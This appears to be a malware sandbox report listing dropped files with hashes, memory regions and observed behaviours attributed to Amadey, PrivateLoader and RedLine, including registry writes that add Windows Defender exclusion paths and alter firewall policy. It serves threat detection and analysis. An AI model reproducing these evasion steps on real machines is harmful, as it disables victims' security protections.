SHA256 823f4f8dfe55d3ce894308122d6101fed1b8ef1eb8e93101945836655b2aed1b
SHA512 530f4fad6af5a0e600b037fcd094596652d2e3bf2f6d2ce465aae697ea90a361a0ffcc770c118102a0dd9bf12ab830ac6b459e57a268f435c88c049c127491f4

memory/2716-432-0x00000000091A0000-0x0000000009462000-memory.dmp

memory/2716-435-0x00000000049C0000-0x00000000049C6000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeWebview2Setup.exe

MD5 c06e9135c420469715d4310bfb3c1b33
SHA1 08b7b18662f19a5193ef92cdcdba63eefb7d80a7
SHA256 34efce66f80ccdf56ec4697d323922ca751c783099b9e0d1a38eec054776182f
SHA512 56260285eb6c19698daf7cc7b74e8b4d4b11a5f892c7d22c62ccb51353947d81192790957916a52dc4eb579f27cb38ed67c5b4fabd449850c8949581f07e847e

C:\Users\Admin\Pictures\fd1rvCQTEeMtlf306mcAhjvN.exe

MD5 acadbe83c09a7a9b8213a662eda12e93
SHA1 26a6e55076bc0602ff9060ac529528f3fc631986
SHA256 42dd6aeee394e298646701ebe1fd611186ea4ee8c7e6383913db121444635944
SHA512 a7ad3777e4a5ae9dd8dd09cff3a3ab498c6d2dc5b922407c48936225cb0c91430f75114f46b0a7b39046dc45c26221e199d33ff0bce105e05e903eef7fbdcd9f

C:\Program Files (x86)\Microsoft\Temp\EUA99E.tmp\msedgeupdate.dll

MD5 bfc0ece0ce72654a772f425a2f6a7f89
SHA1 a464076f5d87582dce2adeeaf3b522c688d5a14a
SHA256 bd57792535d7f2c75136fe09241fce48b225b7d451b5e6241cd40e6374db388e
SHA512 b027339fe0d73fccbad23ecb34dc8e40f6e0c64584ee0367a2c565802fcd6870fd28563f19789207d2e6a4e13d1ffff515fc10a22193a7765115be927106255c

C:\Program Files (x86)\Microsoft\Temp\EUA99E.tmp\MicrosoftEdgeUpdate.exe

MD5 d80d6c8774203980beb027e2192f7df0
SHA1 cadf926c78a87b65289979388c34191925b57167
SHA256 41587c47ed8b365599332d5e321437a6dfca746edfc782a231f5d0d4174b5cb8
SHA512 c7f67d6c11ab42619b10f341bff9e433fbd36c40fadd283485d60cadbffee8f7448144b221416445aab92593a08c42a6639a225f0baa064cb9cf090d9169cbde

C:\Program Files (x86)\Microsoft\Temp\EUA99E.tmp\msedgeupdateres_es.dll

MD5 19d6139c5aa6162e8a2a8ba17ec81822
SHA1 d81f95f5e4021c4ef9b9781d32a729782eeccbbe
SHA256 f9ba82d35d780cf5b4819570e81933b06da524eacb5d0eebeef4276aafb9c96e
SHA512 7b287470db50e78bebe8c0906d5f0ccf3aa2c20f70948f7074a8dad29eef40d850c996a790eccdef6ec3d5271a22a5100cb96720966cf0fc032c139e42e10e37

memory/5584-605-0x00000201A0EA0000-0x00000201A1AF2000-memory.dmp

C:\Program Files (x86)\Microsoft\Temp\EUA99E.tmp\msedgeupdateres_en-GB.dll

MD5 f80b43c11b35344c4601f91d61ba01aa
SHA1 9cdbe9b73dc803e642cdf8fa7c9be3ed13928009
SHA256 18cc6c1c2cb593f1f0450745e5ad4d5d0be3b7d6d3f904b907ffb863391badba
SHA512 be390c82be4956090d55f96ef78387d3fe4abb149ddeb66fa6e61c52d2c480f0cd7cce580554ad2743c118697a2d761e1f0ff37f7f50ac437e6f154143fc1ff9

C:\Program Files (x86)\Microsoft\Temp\EUA99E.tmp\msedgeupdateres_el.dll

MD5 f9bbe44306e396b4f5828033d4a8e129
SHA1 2db819ba55ceaa502f7158159d1d6c3de8844ccc
SHA256 3723b0bb625284d49824ab7689721e180238e0c693fb41d9948920210fb171ce
SHA512 608e1122641ff864627d144925d853bfedb7704cda6bef9257d6ae2a6c5d6eb4e2ef773f717cfab1f9c463b17997acf8762b08ac24412ea898e4cd690809d1fb

C:\Program Files (x86)\Microsoft\Temp\EUA99E.tmp\msedgeupdateres_de.dll

MD5 88580c499f109cef95f3020b64266097
SHA1 da6cd858d8e9715a82a792da35a4c97b76e341a4
SHA256 444f87c7ab5a89e3d423b497abf05fe22ae4605569abd83f3925d3a50a74cd08
SHA512 1838d59b0e414b68b785646b01c8c5f6ebf0466e59c946ebf845782edeca76a396609ef2742341b4d89fad58468d9f0e0e24492be78255ac71a3e0e963e1c999

C:\Program Files (x86)\Microsoft\Temp\EUA99E.tmp\msedgeupdateres_da.dll

MD5 887777535ec4dafc37e04009dc33d46e
SHA1 87755165910c80b6451e6e49c6a5dea346f949f2
SHA256 8123fc78e3217a67de7051574abc16d33043ac9a1d67fbe1220a51ef92c8d80e
SHA512 a67f21474ffdad53ffbdaa8cf8142b399eba399daedaa7c82b62b4d4629b1d60bcb6f04e87ca030299c14dac9f6c291c5d4069181bdc14c83def63c0ac0c68e3

C:\Program Files (x86)\Microsoft\Temp\EUA99E.tmp\msedgeupdateres_cy.dll

MD5 eafbe4b540d5717792cf9e1107aaba90
SHA1 99daa2697b99139c966e58d8e89a64667a9015b3
SHA256 a12771439505f2d419b246d6a974fe8937e0aa5d3b1f9863dbae9f4b7e6197c8
SHA512 d89ca2292190b5914b92f11087970910d18b5e60bbc853466d2439b84612f74248f57b8347c48ee3b1f11232771f99ddb07229cec4beb206bcb1bcee68e6183b

C:\Program Files (x86)\Microsoft\Temp\EUA99E.tmp\msedgeupdateres_cs.dll

MD5 ea83abf1891a11ff03172d0473a64923
SHA1 a19f2e3a26467d8dba5eb73194be1becd0f5563b
SHA256 8a981d1abbd9c6454d2798c7df5708e4af44f54991ac06e988e4e66022c15489
SHA512 f717431b7fca156a476059525307c7f82c74570b1b9c41d6596af14a340d8b3c26493f962c4f4cbfef0d6971d47822e91111ce2f1204c7127a6f6503942bb39c

C:\Program Files (x86)\Microsoft\Temp\EUA99E.tmp\msedgeupdateres_ca-Es-VALENCIA.dll

MD5 acfd43f9fb09dc5e05842bb8dfa5b3c5
SHA1 e673afb66da1f0065bee5da6d52ea9af75e7ecec
SHA256 e703d0fe2e49eef7b8a072830e76143281039527d9c2873c8162f18217b0ed5a
SHA512 df2416d672f059451607a6aa5752bdfce1989fc461f3781033ae8b000941ecc2a29920e7c2c61f7f879cc2a9a63aceb390b627aa602506833ae41f8e574c66aa

C:\Program Files (x86)\Microsoft\Temp\EUA99E.tmp\msedgeupdateres_ca.dll

MD5 a1f2eb33a406b65da04306f52686d6df
SHA1 1a5314c97f23df4ced0466c46aca61286f87d9d2
SHA256 d75877f6cc1b4be175872e8d33778721e3e5acfe1a1154772a68c799f2e3ee1a
SHA512 4d0bfaf9fa80cf308c629eddee7a850dd485d36753fa5c0825b05dd680998aba96eaad7835de1ddea357a124bf5107d3f10b1b71c0ba4fecdc4fc362b6f326f2

C:\Program Files (x86)\Microsoft\Temp\EUA99E.tmp\msedgeupdateres_bs.dll

MD5 cfdfa919f3f9b33b9e75f9e22a023063
SHA1 2bcfdf9abfe7c13b8883da19cb973da2156a93c2
SHA256 4d2ad964da1441bb08800618db62f9e8117751a4a78bdfa3ae1c2dcf903d6d43
SHA512 42481f9700d2afa9d28d7d4d1d1937e1acd569b3039230fb6d7c52de12d473e708324d1cd285985186e2531831004d5ec2b801f48a0ce3dbf53549fb88ac7793

C:\Program Files (x86)\Microsoft\Temp\EUA99E.tmp\msedgeupdateres_bn-IN.dll

MD5 c00dd2c1ada230d747f4914e569a4766
SHA1 3c71082db0a88876fd0c929cbf2e25969669c395
SHA256 19fecbe5aa1f007f5f4ed719ad474b3270603c1535f187067c30ceddd4444091
SHA512 5a33f9b756ed41251f4e85a2b85489c679c350e2838e07b1df00b17f655f73d4b16783cbd4031863fb9c9851815ebbd5bb1f58c465e7d88a41d642d0118530c0

C:\Program Files (x86)\Microsoft\Temp\EUA99E.tmp\msedgeupdateres_bn.dll

MD5 f010d0ef5fa1c42df991e6a0dd63ea85
SHA1 ebb19b0804b99f55c41754bfc43d654b87f86b14
SHA256 97e41d2acb8b638ac2a039da4f9750a0e9387ac10433cb68e0415c0093695ce0
SHA512 31fcca5c46be1967696fc9b3e9d23a4d81700fea64a826245b674dd1a0c4571a4515ceec6e9fc7d3c9d6bb2a7b7139082bded78847d614917e605b806597ce84

C:\Program Files (x86)\Microsoft\Temp\EUA99E.tmp\msedgeupdateres_bg.dll

MD5 e53485ec77800ab9ea0283aac2d0aa89
SHA1 7b4bd4a142a78a95273a91396fbed85432789f34
SHA256 6b380706e9273948be9995da09e3aebb71e7275ba6852086cf5bd1594c7d1232
SHA512 514617c4142cb5f1eb2f72be50d81158136d427d83a8d4f93e6c0c08c30fa012379453a2046ab068cb51853e8c8b12b81df4c18ee80cfb279d80ce4ba5d65b04

C:\Program Files (x86)\Microsoft\Temp\EUA99E.tmp\msedgeupdateres_az.dll

MD5 f4c8a5f7bc960a03ddf8b74dfae1b060
SHA1 74ee2f8420d86652cb4be3b72dadd52c31ee6689
SHA256 3ccf9900953a871a129280260909acfc20aa23644181e354847fbe6b2e005110
SHA512 c9c1b64a5da33130be847f0f2e5acee2af78ec84df14c873d1413a495c40a84c318435c43b5e17ccb0fe2929cc97350bef882b68632f1a80551c0e79ff2bcdcd

C:\Program Files (x86)\Microsoft\Temp\EUA99E.tmp\msedgeupdateres_as.dll

MD5 7b0f190cfa90f9cfcac3f22644b03559
SHA1 de5aa579ead3696433d5509d922fab6fc4954746
SHA256 68a495ee65652ebb55f856b7a82dde20fdda0b38880019170fa5cbafb336c123
SHA512 62572ed3b1cef8d8aac514c9224c4b44546b4c935ab141eeaa696a69caa88b3525199d75fd2f5edaf15fae07b354a7c5e7df86d50dbc50cc093448640b95fdae

C:\Program Files (x86)\Microsoft\Temp\EUA99E.tmp\msedgeupdateres_ar.dll

MD5 b09436f36b5a4a81a153984bbf3fddfc
SHA1 6939928c6c5cfa89525e728b541568869de2804b
SHA256 b4e66f907dde78b4d4f85c5c44656667b7b0fa0659eb56f7f96d974cb66d4dd0
SHA512 472798b8419b2e6614c72eac27bd3c3a2ac0d93b3a15c992d26d44f1ee3f628406a405df36145bdeeee45b2e96b2def9058869dd2dc857030ae7972e0b0bcf52

C:\Program Files (x86)\Microsoft\Temp\EUA99E.tmp\msedgeupdateres_am.dll

MD5 f18d85b1e1c45b935e0003f1dbb912f0
SHA1 ba3da8ed55807f6dbb8641620e2594b245e80ced
SHA256 2fa5350047962335602e7a450d1e29951609487e997bf183ce0eb5d01b28f066
SHA512 7a0a22a7efe14f8f8541dd5d59a355d6b601ab3aed2d7ab3895e31d4a1c6531b199243223a3b001dad06186c1f4eca882966c197f2c05256c9f73d8ba96e50bc

C:\Program Files (x86)\Microsoft\Temp\EUA99E.tmp\msedgeupdateres_af.dll

MD5 91295713d791ad6378b117d020c63444
SHA1 0055846b91740c4631026affb5c044b1261e53a8
SHA256 41d0565075327e4a0d1364eb556a238981659f063054404458c0b7b37ec64574
SHA512 55fbbe74bf45ff9700d5a3b940aac9992625a994bc64f842560a0c15e9a8f85a9cb51db993fc43b412608089d3ed6078a8a81afcba33e7e0b0d9b72a4a5b0358

C:\Program Files (x86)\Microsoft\Temp\EUA99E.tmp\EdgeUpdate.dat

MD5 369bbc37cff290adb8963dc5e518b9b8
SHA1 de0ef569f7ef55032e4b18d3a03542cc2bbac191
SHA256 3d7ec761bef1b1af418b909f1c81ce577c769722957713fdafbc8131b0a0c7d3
SHA512 4f8ec1fd4de8d373a4973513aa95e646dfc5b1069549fafe0d125614116c902bfc04b0e6afd12554cc13ca6c53e1f258a3b14e54ac811f6b06ed50c9ac9890b1

C:\Program Files (x86)\Microsoft\Temp\EUA99E.tmp\NOTICE.TXT

MD5 6dd5bf0743f2366a0bdd37e302783bcd
SHA1 e5ff6e044c40c02b1fc78304804fe1f993fed2e6
SHA256 91d3fc490565ded7621ff5198960e501b6db857d5dd45af2fe7c3ecd141145f5
SHA512 f546c1dff8902a3353c0b7c10ca9f69bb77ebd276e4d5217da9e0823a0d8d506a5267773f789343d8c56b41a0ee6a97d4470a44bbd81ceaa8529e5e818f4951e

C:\Program Files (x86)\Microsoft\Temp\EUA99E.tmp\MicrosoftEdgeComRegisterShellARM64.exe

MD5 80779f870e88307143083fcf97f251b4
SHA1 e299c63a8745ab0a46cae731514f936f9714d622
SHA256 8a75eaf5677dc11b1c37fbf57ca354b0e3d25c8aa867269c2deb0e7fb7fa0693
SHA512 a1f56f0706cf7cbd35d74840ed58c685f3bf86e35efcbd73ae2d73ca6ce9a8ad1f7ced8528b3d81785e3bb9297023bf42f8e60bc4631232d9947cdbeb56afb47

C:\Program Files (x86)\Microsoft\Temp\EUA99E.tmp\MicrosoftEdgeUpdateComRegisterShell64.exe

MD5 f87a4644fd6dc581ef7b67062fdb55ba
SHA1 38feeaf764e787bd68c06fe243c6064f130b8eab
SHA256 1c2fd257dfc2c3967f7afc0ee726319cb6eaa0f1db86c34f97d703ce7bdcb5eb
SHA512 1f054a7111c9d7576ca80b3102670786f8d44276d36446c96f1c8f6aa7f51aa4d81edd4cc36a33cbffeba6d5b6b313f5de0e4209f6edbfe291958b2022677125

C:\Users\Admin\Pictures\SEEtKJ0XozwUKRMZhGWizSlI.exe

MD5 9b73b0054185022266014a06aa83b5b7
SHA1 7b2cf66877aca0bb03a5bf88c2351f097932f3c8
SHA256 8c4108d277eeef1facfdb3af7202d319d5ca8fa7246047c67138609dfac05049
SHA512 1781f52a9111e7d5769643041d9b3a8c04ff5350c8327d2682ff194c8427622b3432cfe234b6b35484a7540f2fb38da4c8733ef490e5bed165b085abea531a65

C:\Program Files (x86)\Microsoft\Temp\EUA99E.tmp\MicrosoftEdgeUpdateCore.exe

MD5 08e9b96eb44be746d65eae418abeb20b
SHA1 eb86e91462752a1187d73cf678671bbe34d16dad
SHA256 39f7c35da1df0dca19b5bc426f0687ff0f8ae8de3ae997857a4672f1176de161
SHA512 70e08d09ef398eefbace3bce84e6b6c3e55b6caad8886002fd89466e455e6ffecbfca8d233f47de5cd99a5f6805952726676c8545c7d4884209355a48a34d396

C:\Program Files (x86)\Microsoft\Temp\EUA99E.tmp\msedgeupdateres_en.dll

MD5 7f82701452b6dfdf75c83df9b865a168
SHA1 cbc560711f74a63781c5de971421a7c3d87452de
SHA256 fb69f9c72a5026b21ebe7717e58f7382ac8a960849c4676b5733948aedf186a0
SHA512 be6ef129d66a0413edb0c67b82bd4fa3d58e63f61ba5969781c19fee11b37fc6665dad3f99331e5b813e40f9b5a0ecf80412712885b8cd920ded6b7d43d2c82b

memory/4584-608-0x00000000008D0000-0x0000000000DA2000-memory.dmp

memory/4080-618-0x0000000007DD0000-0x00000000082FC000-memory.dmp

memory/5792-614-0x00007FF687B60000-0x00007FF6888ED000-memory.dmp

C:\Windows\System32\GroupPolicy\gpt.ini

MD5 8ef9853d1881c5fe4d681bfb31282a01
SHA1 a05609065520e4b4e553784c566430ad9736f19f
SHA256 9228f13d82c3dc96b957769f6081e5bac53cffca4ffde0ba1e102d9968f184a2
SHA512 5ddee931a08cfea5bb9d1c36355d47155a24d617c2a11d08364ffc54e593064011dee4fea8ac5b67029cab515d3071f0ba0422bb76af492a3115272ba8feb005

memory/4080-613-0x00000000073E0000-0x00000000075A2000-memory.dmp

C:\ProgramData\Microsoft\EdgeUpdate\Log\MicrosoftEdgeUpdate.log

MD5 eebe94814b4e735c37f34a75f98f84f6
SHA1 20a33c7218188ef632014af7d0caba3f1cbc8f80
SHA256 2f486744e5da564d6787ec244104aad9b6010e509853ebbf53ce2f56da664f58
SHA512 c968edfb61325d8e07b6e16ded1b160cc36889bdb20d576e3a99d3e1b64a010e7ae0233dac48cfa2f6f49c1c05e07baa26af714be1162c12e2167e0e7ee1437b

memory/2716-635-0x00000000095B0000-0x00000000095B6000-memory.dmp

memory/2716-634-0x000000000B700000-0x000000000B71A000-memory.dmp

memory/4584-638-0x00000000008D0000-0x0000000000DA2000-memory.dmp

memory/5572-639-0x00000000000D0000-0x0000000000105000-memory.dmp

memory/5572-640-0x0000000068E00000-0x000000006901F000-memory.dmp

memory/4584-641-0x00000000008D0000-0x0000000000DA2000-memory.dmp

memory/4584-642-0x00000000008D0000-0x0000000000DA2000-memory.dmp

memory/4584-646-0x00000000008D0000-0x0000000000DA2000-memory.dmp

memory/4584-649-0x00000000008D0000-0x0000000000DA2000-memory.dmp

memory/3708-653-0x00000000008D0000-0x0000000000DA2000-memory.dmp

memory/3708-657-0x00000000008D0000-0x0000000000DA2000-memory.dmp

C:\Program Files\MsEdgeCrashpad\settings.dat

MD5 bd3a9a9261e50a78bb2de848841ec34c
SHA1 4bc5dbfbe11281928e295b6fefaff16a8c22e964
SHA256 c3787b6c63465c75c651f3fd611f22b078948cdfbe5673307026b7d03ea2eb4f
SHA512 81d29bbbfd7eb28131ad733d4bf505dd7dada4403f986845276b399af37199f405a76a6157b8964f8ef106c7ec2ef835c96af9b4f194961bedcf00683e56d0d6

memory/5312-676-0x0000000000400000-0x000000000045C000-memory.dmp

memory/5312-675-0x0000000000400000-0x000000000045C000-memory.dmp

memory/4584-677-0x00000000008D0000-0x0000000000DA2000-memory.dmp

memory/5572-681-0x0000000068E00000-0x000000006901F000-memory.dmp

memory/5312-703-0x0000000000400000-0x000000000045C000-memory.dmp

memory/5312-707-0x0000000000400000-0x000000000045C000-memory.dmp

memory/5312-705-0x0000000000400000-0x000000000045C000-memory.dmp

memory/5312-697-0x0000000000400000-0x000000000045C000-memory.dmp

memory/5312-689-0x0000000000400000-0x000000000045C000-memory.dmp

memory/5312-687-0x0000000000400000-0x000000000045C000-memory.dmp

memory/5312-683-0x0000000000400000-0x000000000045C000-memory.dmp

memory/5312-685-0x0000000000400000-0x000000000045C000-memory.dmp

C:\Program Files (x86)\Microsoft\EdgeCore\125.0.2535.79\Installer\setup.exe

MD5 365eb1aab5e477760126569b7f72f85a
SHA1 06aa9c213c163b7716644314ea6d3997f882ab06
SHA256 19dc1f8c7901ec057bfaf763d8354a07880ce6fa3093185c64b95d082f8055af
SHA512 0d34bc14ed5328f2ded1c48acc29872a2154db0c4c9072a098266a08c0d0b235705223f988e64e3fd418e9c62338560e33d7f3d9ae933f43da77763e88938888

C:\Users\Admin\Pictures\VyvE6nH9gRjNkmaLNl6lRdqy.exe

MD5 08063da816c5db77ce64807c4ec2f7e8
SHA1 61ded712f36458ba6ffcec37edbf65d5927d2d92
SHA256 dd08b1356c9b9bffe1ae9c254d28411890204e5b8fe1f9b9af0a7a3e5b6ed61e
SHA512 df74cef767efde4711af6e40ef82801d91c4f1b5805fb0411235272a62fd08204d39153d4ae2056880d9d3ceaaae9c8e87254ea57d35a83bf501ac5be721c5f0

memory/5104-756-0x00000000048D0000-0x0000000004906000-memory.dmp

memory/5104-757-0x0000000004F40000-0x0000000005568000-memory.dmp

memory/5104-758-0x00000000055E0000-0x0000000005602000-memory.dmp

memory/5104-759-0x0000000005780000-0x00000000057E6000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wvkgakfj.qpv.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/5104-769-0x0000000005860000-0x0000000005BB4000-memory.dmp

memory/5104-770-0x0000000005E70000-0x0000000005E8E000-memory.dmp

memory/5104-771-0x0000000005EA0000-0x0000000005EEC000-memory.dmp

memory/5104-773-0x00000000063F0000-0x0000000006486000-memory.dmp

memory/5104-774-0x0000000006370000-0x000000000638A000-memory.dmp

memory/5104-775-0x00000000063C0000-0x00000000063E2000-memory.dmp

memory/1700-791-0x0000000005E70000-0x00000000061C4000-memory.dmp

memory/1700-792-0x00000000064E0000-0x000000000652C000-memory.dmp

memory/6140-846-0x0000021703450000-0x0000021703472000-memory.dmp

memory/4320-859-0x0000000000400000-0x000000000046E000-memory.dmp

memory/4320-860-0x0000000008230000-0x000000000827C000-memory.dmp

memory/5404-863-0x00000000008D0000-0x0000000000DA2000-memory.dmp

C:\Users\Admin\AppData\Local\Packages\favicon.png

MD5 1603865df23efcd1dc421a48f090b2d5
SHA1 29c835478c413295787656da1201a3bd08582267
SHA256 fc48da13fe7501b9a08daced7a7fadc6914a36c6c12461a73d2170d748be5712
SHA512 e9bca0319aa1cacdd86a3b5b5904cd508a245e64399acf335299b298feec130985b68ad3456b177aa466284c6239e952aa15ed0e6545ae6ad72848d3ea6405b1

memory/5584-866-0x00000201BC100000-0x00000201BC112000-memory.dmp

memory/5584-867-0x00000201BBFF0000-0x00000201BBFFA000-memory.dmp

memory/5404-872-0x00000000008D0000-0x0000000000DA2000-memory.dmp

memory/5252-893-0x0000000004A50000-0x0000000004DA4000-memory.dmp

memory/5252-894-0x0000000005100000-0x000000000514C000-memory.dmp

memory/4388-934-0x0000000004E90000-0x00000000051E4000-memory.dmp

memory/4388-938-0x0000000005530000-0x000000000557C000-memory.dmp

C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi

MD5 c7f8a819e8c81b9304afb6614cdca578
SHA1 bb34b12565514d22a28d1505bb6cef74c344661b
SHA256 83dd024a024ffe13e2a26baa0f0c2272c046fd15fc8579d7aca12d538df93623
SHA512 87029a4495b2991274438b3ae2b78176ad7811687d7eb70548c25e97f1433f2f76e82232bcf5a1b3124d6b67814168acc2d0ef42d1753e304b25e7aafcceecf8

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\fa\messages.json

MD5 238d2612f510ea51d0d3eaa09e7136b1
SHA1 0953540c6c2fd928dd03b38c43f6e8541e1a0328
SHA256 801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e
SHA512 2630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\en_GB\messages.json

MD5 2a1e12a4811892d95962998e184399d8
SHA1 55b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720
SHA256 32b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb
SHA512 bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\pt_BR\messages.json

MD5 0b1cf3deab325f8987f2ee31c6afc8ea
SHA1 6a51537cef82143d3d768759b21598542d683904
SHA256 0ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf
SHA512 5bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\geiolieogaichbpfhcannipendgnnbkn\1.0.1_0\_locales\es\messages.json

MD5 bd6b60b18aee6aaeb83b35c68fb48d88
SHA1 9b977a5fbf606d1104894e025e51ac28b56137c3
SHA256 b7b119625387857b257dd3f4b20238cdbe6c25808a427f0110bcb0bf86729e55
SHA512 3500b42b17142cd222bc4aa55bf32d719dbd5715ff8d0924f1d75aec4bc6aa8e9ca8435f0b831c73a65cc1593552b9037489294fbf677ba4e1cec1173853e45b

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\ue3bcu6m.default-release\prefs.js

MD5 421737c971aede55bd3e0e703801ef8a
SHA1 85ca3a6e7c26ce906d856a7bd7a884de28567733
SHA256 ea5487ffc8fc6510ac4cf4c08622c3de664a05ac6eeb1bf007ccbdcacd815772
SHA512 f43d5a2b7a0fdb977810368c1708bded3d54bf633b3c8d9e2ca351811bbffe1a4454e6ae832baafa2c98fea9226d6058891c44600e7e5ca9b4ffd56250305c18

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

MD5 1f77770246023b3d9da0e4546420c32e
SHA1 24b1a7ab679d5d0e2babbc3dff76b059651acbbf
SHA256 84dc6345e8a3d67b656d247f7543b504c1fb2946419486e71570f8d1658fe47f
SHA512 c453ee0c481a09a8014110da0889e6d5def619f4612b2023f18009a21f3ac9b1f7bd735f0c70b54c814d73208fbda81e1757e788d3e70c77c56bf1f8c2e42e93

C:\Users\Admin\AppData\Local\Temp\1717117768_00000000_base\360base.dll

MD5 b192f34d99421dc3207f2328ffe62bd0
SHA1 e4bbbba20d05515678922371ea787b39f064cd2c
SHA256 58f13d919f44d194827b609b6b267246abc47134bb202472c0dfe033b9d7ed73
SHA512 00d4c7a0a0097eb4b31a71a0eaf6ff0d44619f77a335c75688565e34e6d7f4fb6c258917457d560c6b0a5077603845ce012e01d9862e87fb5327d7f8da970f95

Analysis: behavioral1

Detonation Overview

Submitted

2024-05-31 01:06

Reported

2024-05-31 01:09

Platform

win7-20240221-en

Max time kernel

149s

Max time network

150s

Command Line

C:\Windows\Explorer.EXE

Signatures

Amadey

trojan amadey

Modifies firewall policy service

evasion
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\SharedAccess\Parameters\FirewallPolicy\FirewallRules\C:\ = "1" C:\Users\Admin\Pictures\syxWFssEjg8Q0zED4zads7OJ.exe N/A

PrivateLoader

loader privateloader

RedLine

infostealer redline

RedLine payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Windows security bypass

evasion trojan
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\YLgKyOFzWxOqC = "0" C:\Windows\SysWOW64\reg.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths C:\Windows\SysWOW64\reg.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths C:\Windows\SysWOW64\reg.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths C:\Windows\SysWOW64\reg.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths C:\Windows\SysWOW64\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\fcblnlcRRSrBhAVB = "0" C:\Windows\SysWOW64\reg.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths C:\Windows\SysWOW64\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\JipyTrDkU = "0" C:\Windows\SysWOW64\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\krdeMCnRKomDOvwVunR = "0" C:\Windows\SysWOW64\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions = "0" C:\Windows\SysWOW64\reg.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths C:\Windows\SysWOW64\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\ZmzskowerwXEonlG = "0" C:\Windows\SysWOW64\reg.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths C:\Windows\SysWOW64\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\krdeMCnRKomDOvwVunR = "0" C:\Windows\SysWOW64\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\fcblnlcRRSrBhAVB = "0" C:\Windows\SysWOW64\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\SiHRhjyUhlpwxPXaT = "0" C:\Windows\SysWOW64\reg.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths C:\Windows\SysWOW64\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\SiHRhjyUhlpwxPXaT = "0" C:\Windows\SysWOW64\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\ZmzskowerwXEonlG = "0" C:\Windows\SysWOW64\reg.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths C:\Windows\SysWOW64\reg.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths C:\Windows\SysWOW64\reg.exe N/A
